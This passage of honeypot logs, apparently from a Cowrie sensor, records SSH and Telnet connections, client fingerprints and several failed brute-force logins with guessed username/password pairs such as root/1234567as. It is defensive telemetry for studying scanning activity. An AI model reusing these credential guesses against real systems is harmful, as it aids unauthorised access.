-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:52.221582Z","src_ip":"37.233.85.71","session":"fa60755d1cd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567as","message":"login attempt [root/1234567as] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:52.549426Z","src_ip":"37.233.85.71","session":"fa60755d1cd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:53.661111Z","src_ip":"37.233.85.71","session":"fa60755d1cd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":38362,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fe3d6deaa48","protocol":"telnet","message":"New connection: 69.4.83.194:38362 (159.203.135.109:23) [session: 5fe3d6deaa48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:54.163929Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.6.32.107","src_port":38089,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fb2a554621a","protocol":"ssh","message":"New connection: 190.6.32.107:38089 (159.203.135.109:22) [session: 5fb2a554621a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:54.767600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:54.772897Z","src_ip":"190.6.32.107","session":"5fb2a554621a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:54.829245Z","src_ip":"190.6.32.107","session":"5fb2a554621a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu18","message":"login attempt [ubuntu/Ubuntu18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:55.086317Z","src_ip":"190.6.32.107","session":"5fb2a554621a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:21:56.146927Z","src_ip":"190.6.32.107","session":"5fb2a554621a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":41444,"dst_ip":"159.203.135.109","dst_port":23,"session":"13b73fc1615b","protocol":"telnet","message":"New connection: 69.4.83.194:41444 (159.203.135.109:23) [session: 13b73fc1615b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:02.536905Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":47480,"dst_ip":"159.203.135.109","dst_port":23,"session":"099b1c9071e0","protocol":"telnet","message":"New connection: 79.139.59.21:47480 (159.203.135.109:23) [session: 099b1c9071e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:03.574226Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.65.220","src_port":58326,"dst_ip":"159.203.135.109","dst_port":22,"session":"561005f118c6","protocol":"ssh","message":"New connection: 43.133.65.220:58326 (159.203.135.109:22) [session: 561005f118c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:06.056498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:06.061933Z","src_ip":"43.133.65.220","session":"561005f118c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:06.264029Z","src_ip":"43.133.65.220","session":"561005f118c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"carlos","message":"login attempt [root/carlos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:07.100550Z","src_ip":"43.133.65.220","session":"561005f118c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:08.306335Z","src_ip":"43.133.65.220","session":"561005f118c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":44160,"dst_ip":"159.203.135.109","dst_port":23,"session":"f642dee17c56","protocol":"telnet","message":"New connection: 69.4.83.194:44160 (159.203.135.109:23) [session: f642dee17c56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:10.957117Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":45932,"dst_ip":"159.203.135.109","dst_port":23,"session":"bce5aee7aaa9","protocol":"telnet","message":"New connection: 69.4.83.194:45932 (159.203.135.109:23) [session: bce5aee7aaa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:16.030980Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":46552,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd5829c3b380","protocol":"telnet","message":"New connection: 69.4.83.194:46552 (159.203.135.109:23) [session: bd5829c3b380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:17.479942Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":51490,"dst_ip":"159.203.135.109","dst_port":22,"session":"103a5334b01e","protocol":"ssh","message":"New connection: 194.59.206.2:51490 (159.203.135.109:22) [session: 103a5334b01e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:17.538866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:17.544681Z","src_ip":"194.59.206.2","session":"103a5334b01e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:17.649889Z","src_ip":"194.59.206.2","session":"103a5334b01e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:17.746736Z","src_ip":"194.59.206.2","session":"103a5334b01e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":50074,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ad6cc091034","protocol":"telnet","message":"New connection: 69.4.83.194:50074 (159.203.135.109:23) [session: 8ad6cc091034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:27.323352Z"}
{"eventid":"cowrie.session.closed","duration":33.38059759140015,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:27.544400Z","src_ip":"69.4.83.194","session":"5fe3d6deaa48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":40968,"dst_ip":"10.17.0.5","dst_port":22,"session":"31db528f9f33","protocol":"ssh","message":"New connection: 109.237.96.109:40968 (10.17.0.5:22) [session: 31db528f9f33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:34.155887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:34.160439Z","src_ip":"109.237.96.109","session":"31db528f9f33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:34.252940Z","src_ip":"109.237.96.109","session":"31db528f9f33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"29031991","message":"login attempt [root/29031991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:34.534885Z","src_ip":"109.237.96.109","session":"31db528f9f33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:35.630427Z","src_ip":"109.237.96.109","session":"31db528f9f33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.289769649505615,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:36.826541Z","src_ip":"69.4.83.194","session":"13b73fc1615b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.275747299194336,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:46.232756Z","src_ip":"69.4.83.194","session":"f642dee17c56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.254576683044434,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:51.734373Z","src_ip":"69.4.83.194","session":"bd5829c3b380","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"106.243.250.115","src_port":60844,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5a916a572a5","protocol":"ssh","message":"New connection: 106.243.250.115:60844 (159.203.135.109:22) [session: a5a916a572a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:54.212297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:54.217463Z","src_ip":"106.243.250.115","session":"a5a916a572a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:54.421832Z","src_ip":"106.243.250.115","session":"a5a916a572a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.195324659347534,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:55.226190Z","src_ip":"69.4.83.194","session":"bce5aee7aaa9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user02","password":"1234","message":"login attempt [user02/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:55.241090Z","src_ip":"106.243.250.115","session":"a5a916a572a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:22:56.448476Z","src_ip":"106.243.250.115","session":"a5a916a572a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.66526126861572,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:01.988533Z","src_ip":"69.4.83.194","session":"8ad6cc091034","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":59160,"dst_ip":"159.203.135.109","dst_port":22,"session":"d10f57871bb3","protocol":"ssh","message":"New connection: 103.172.78.219:59160 (159.203.135.109:22) [session: d10f57871bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:04.533999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:04.539583Z","src_ip":"103.172.78.219","session":"d10f57871bb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:04.805106Z","src_ip":"103.172.78.219","session":"d10f57871bb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5647382910","message":"login attempt [root/5647382910] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:05.600319Z","src_ip":"103.172.78.219","session":"d10f57871bb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:06.867836Z","src_ip":"103.172.78.219","session":"d10f57871bb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":38860,"dst_ip":"159.203.135.109","dst_port":23,"session":"f702a8f794e4","protocol":"telnet","message":"New connection: 69.4.83.194:38860 (159.203.135.109:23) [session: f702a8f794e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:11.894961Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.178.94.210","src_port":58830,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6af450a939c","protocol":"ssh","message":"New connection: 180.178.94.210:58830 (159.203.135.109:22) [session: f6af450a939c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:25.262846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:23:25.268060Z","src_ip":"180.178.94.210","session":"f6af450a939c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 